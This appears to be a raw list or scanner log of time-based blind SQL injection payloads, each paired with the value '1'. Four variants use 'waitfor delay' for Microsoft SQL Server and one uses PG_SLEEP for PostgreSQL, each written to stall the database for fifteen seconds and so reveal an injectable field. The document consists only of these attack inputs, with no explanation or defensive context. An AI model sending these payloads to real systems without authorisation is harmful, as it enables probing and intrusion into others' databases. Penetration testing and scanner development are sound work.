555-1; waitfor delay '0:0:15' --

1

555-1); waitfor delay '0:0:15' --

1

555-1 waitfor delay '0:0:15' --

1

555FbetbiVi'; waitfor delay '0:0:15' --

1

555-1 OR 477=(SELECT 477 FROM PG_SLEEP(15))--

1